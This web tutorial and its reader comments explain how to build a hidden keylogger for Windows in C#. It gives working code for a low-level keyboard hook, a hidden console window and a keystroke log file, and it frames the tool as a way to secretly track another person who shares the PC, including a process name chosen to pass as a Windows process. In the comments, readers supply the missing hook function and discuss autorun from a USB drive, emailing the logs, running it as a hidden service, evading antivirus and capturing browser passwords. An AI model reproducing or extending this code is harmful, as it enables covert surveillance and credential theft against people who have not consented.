How To: Create a Simple, Hidden Console Keylogger in C# Sharp

Create a Simple, Hidden Console Keylogger in C# Sharp

Today I will show you how to create  a simple keylogger in Visual C# Sharp, which will start up hidden from view, and record anything the user types on the keybord, then save it into a text file. Great if you share a PC and want to track what someone else is writing.

You Will Need

  • Visual C# 2010 Express

Step 1 Create the Project

This is semi-important, usually you don't put much thought behind this, but I recommend naming this project something like "Windows Local host Process" or whatever, so that IF the user you are tracking suddenly decides to look up windows processes, your app will not be so easy to distinguish from something Windows would already have running in the background.

Why? Well, renaming the .exe file is not enough, the name you give your project will appear in the task manager, so assuming you are not a very technical user, if you see a process called ''cmd.exe | ConsoleApplication5" then alarm bells should not be ringing. However, if you see "sysWin86 | Windows Local Host Process" you won't know right away that it is not a legitimate process.

So create a Console Application project, name it appropriately and in the "Using" clause, include the following, if it's not already there:

using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

Step 2 Declaration Clause and Referencing

Just below "Class YourProject {", add the following:

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

In the "Main" function ("public static Main") add:

        var handle = GetConsoleWindow();

        // Hide
        ShowWindow(handle, SW_HIDE);

        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);

Finally, go into Project >> Add References.

In the .NET tab, choose System.Windows.Forms and add it to your project.

Step 3 Functions for Key Capturing

Below the Main clause, add these functions:

    private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
            StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

Step 4 DLL Imports

After adding the key capture functions, add these:

//These Dll's will handle the hooks. Yaaar mateys!

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

// The two dll imports below will handle the window hiding.

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;

Step 5 Compile and Try it Out!

This is the fun step. Once you have added all the code, just run the compiler and try out the .exe!  

As the window is hidden, but still records every keystroke, you will now log all the keystrokes ever pressed on that PC.

Further Improvements

  • Log file management could be improved by inserting line breaks at certain intervals. Something I did not bother with for this particular exercise.
  • It is possible to create a global mouse hook which will tell you what applications your mouse interacted with, where the cursor was and so forth. Google is your friend on this one.
  • Run @ Startup script.

"Sauce"-Code

Front page image by Robbert van der Steeg 

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

50 Comments

Hooray for keyloggers, thanks so much! I've always hated how simple C#, VB, etc always made making a keylogger, haha. It's about 8 million times harder than this to do it on Python, which angers me xD. Well, in Linux at least, because Windows libs and API are easy..Whereas on Linux, you pretty much have to OWN xlib. How unfair.

Yes but on linux it always works. Whereas on windows, it works only if you have 100 mil dependencies installed and all .Net features up-to-date.

This is what I hate on windows, it never actually works.. not truly. 1 pc =/= another. Both running windows 7 for example.

Yeah, that's always true :D. Good point. /me wishes Python had getKeystrokes() xD.

^^ http://sourceforge.net/apps/mediawiki/pykeylogger/index.php?title=Main_Page

I know who's source code I'm destroying this weekend xD. /me slides Chris a beer.

Someone give this guy a beer.

cough C++ nativity cough

its actually quite a nice keylogger, i implemented it into a U3 flash drive so it would autorun. it also emails me the screen shots, click images, and log files in a zip.

how can i make it to send me emails?

Google is your friend in this one. :) Just have a look at code samples in C# for email sending and apply it to the LOG file in the main app.

Hehe, very nice. You can also use regexp to clean up the log a bit without user intervention, so instead of - "theSPACEquickSPACEbrownSPACEfox" you will just have "the quick brown fox"

well... i'm never going to click on any links from any of your articles ;P
love the hacking tuts lately guys, learning loads.

The articles are fine. Just avoid the big red "Click ME" button on our profile pages.
Glad you like the tutorials, the guys here try really hard so I am sure they appreciate every bit of feedback. :)

Awesome to hear! @Mr Falkreath: You write great stuff! Don't be so humble :).

See now this makes me think how to make this in Java.

haha, shouldnt be to hard with all the getkeystate commands.
it would be awesome if there were someone doing java tuts on nullbyte. (my call to you alex ;D)

I've only dabbled in Java...however, I can ask a friend if they would come in :). Someone else could take it up too, if they would like.

I might be able to do some java based tutorials. But @heinikiss all the getkey statements work way easy than doing the hard way, I might be possible in less than 20 lines of code

well, i've only just started in java, so i dont know all the ins and outs.
this right here is why i love wonderhowto, filled with genius' who love to give input and help out :D

please offer function in c# for the active process in the computer

Hello, i did everything as you saied but i"m getting these 3 errors:

http://imageshack.us/photo/my-images/837/desktop2012051522401610.jpg/

yes, EUGEN JELICIC I got your problem. You missed 1 function to be write in code . check your code .use this code & it will work fine

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WHKEYBOARDLL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}

Dear Jitender Singh!

When i use these method "GetProcess" it retrieving the current application process
Application Name.Console.vshost
How can i get the associated process on each input text?

/////////////////////////////////////////////////////////////////////////////
if (nCode >= 0 && wParam == (IntPtr)WMKEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
System.Console.WriteLine((Keys)vkCode);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write(Process.GetCurrentProcess().ProcessName + ": \n");
sw.Write((Keys)vkCode + "\n");
sw.Close();
}

please someone help me I did everything u said but i got 1 error :-

Image via puu.sh

How can i solve this & i'm making this programme in windows form c# on button click. how can i check whether it records the keystrokes or not ?

i have two question :
1 - How to kill the process.
2- Log File is in Chinese like language. Not in English.

Any ideas how to translate this code into a service and where in the service to put the actual logging code? I have it as a service but it does not record keystrokes.

Meterpreter from Metasploit has this migrate to process id functionality that allows you to inject your keylogger code into any given process. Something similar to that would help you out. I am not sure how that was implemented though.

I've two errors.

First: "Error 2 The type 'InterceptKeys' already contains a definition for 'LowLevelKeyboardProc' C:\DEV\VS2010\taskkill\taskkill\Form1.Designer.cs 37 29 taskkill"

Second: "Error 1 The namespace '<global namespace>' already contains a definition for 'InterceptKeys' C:\DEV\VS2010\taskkill\taskkill\Form1.Designer.cs 7 7 taskkill"

What should I do?

This program works great for me but how can I get it to run as a service without the user knowing?

I have tried with GPEDIT which isn't available on Win 7 Family edition and in a schedule tasks a dos box shows up very briefly.

Thank you, Mr Falkreath! I had a interview for a programming position yesterday and was given 10 minutes to write a keylogger using any resources I wanted. As the interviewer watched, I Googled "C# keylogger", came here on the second or third click, and had your keylogger running in only a few minutes. The interviewer seemed pleased with this (how else could I be expected to write it in 10 minutes, right?), and after a bunch more questions, he said he'd be setting me up for the next round of interviews. So thanks again!

Hello, hope all of you are fine! :)

This was the first link I clicked and I got the right code. Thanks alot! I want to build a great keylogger. Can you help me answering do I need to know what exactly these DLL Imports are doing? BTW, programming is not an issue for me :) being a developer myself. Thank you in advance.

I'm having an error "The name 'SetHook' does not exist in the current context

Mr Falkreath, you're awesome, thanks for the simple but powerful code

@CHIMS GRAPHIC add the below code and it will work;

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WHKEYBOARDLL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}

p.s: the DLL name WHKEYBOARDLL has an underscore after WH and KEYBOARD

I'm new in visual studio. The code above worked and then I published the project local host process and installed it, and the task manager is showing that the app is still running. My doubt is where is the log file while running as an independent app. I can't see it anywhere. Please help!

When i compile it, my antivirus jumps warning me of a Win32/Spy.Agent.NSO virus. Is there any way to make invisible to the antivirus?

Well, I have many questions here.
First of all, how do I get the keys to differentiate Upper-case and Lower-case using this? It is quite important.
Second question:

After trying, I noticed that I could see "D9" and "D0". Those are probably Keycodes or something for when I use characters like "" or @

Is there anyway to fix this?

Last but not least, is there any way to convert keynames such as "Left Shift", "Return" and keys that have visual appearance into their visual appearance? I would assume it is, but the code is pretty hard for me to grasp.

Other than that, this is really good. Maybe fixing the code up there since there was a wrong DLL name and a part missing, which I got out of the comments.

C# Advanced Keylogger tutorial in 2015. I have actually implemented an Advanced Keylogger in C# that except from getting keystrokes, it also takes user information (IP, MAC, OS, more than 150 pieces of information), takes screenshots-video capturing, browser data, sends everything via email, etc.

You can find it at my YouTube channel :)
or at my website: http://www.codeexecutable.com/courses/view/Advanced-Keylogger-C%23-2015/Developing-the-Keylogger

Works nicely, but caputres all keystrokes only in uppercase. Any suggestion what should be modified to capture the correct case of the keys?

I did it that way

if
{
Console.WriteLine((Keys)vkCode);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
if (((Keys)vkCode).ToString().Length == 1)
{
if (Control.IsKeyLocked(Keys.CapsLock))
{
sw.Write(((Keys)vkCode).ToString().ToUpper());
}
else
{
sw.Write(((Keys)vkCode).ToString().ToLower());
}
sw.Close();
}
else
{
if (((Keys)vkCode).ToString() == "Capital")
{ //do nothing
}
else
{
sw.Write((Keys)vkCode);
}
sw.Close();
}
}

Can somebody tell me where the key strokes are being recorded?

in the path where your keylogger project has been saved.for example:
C:/users/visual studio 2013/projects/keylogger

when i run this keylogger it gives an error saying that SetHook is not defined.i used a function from one of the guys above now it gives another error saying couldnt find .../nameofkeylogger.exe in my visual path somebody please help me soon.thanks

Hi guys!
I need this code to work as a windows service. What should I change in it so it will work as I desire to.

I try to use it unfortonatly it didnt worked. I have about year of experience with programing and C#. I dont know forms almost at all, I used it once to create Game Of Life with a method that created a rectangale somewere in the screen. Anyway I will be thankfull if you could send me to exe program (You can change the ".exe" to something diffrent to send it in email) or a scrip i can use without the need to change anything in forms, Because i tryed and it diidnt worked out so well

Hi, I tried it a bit. I need it to saves username and pw for auto-complete in the future but it doesn't save the keys pressed when i wrote a password in a browser. Does Someone know why it doesn't save them?

PS: Sorry if there are any grammatical errors

I've run the project but no log file. and what file should we run on others computers?

Nice Job man, Come to Myanmar. I will treat u :P. This is sethook

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH(underscore)KEYBOARD(underscore)LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}

Share Your Thoughts

  • Hot
  • Latest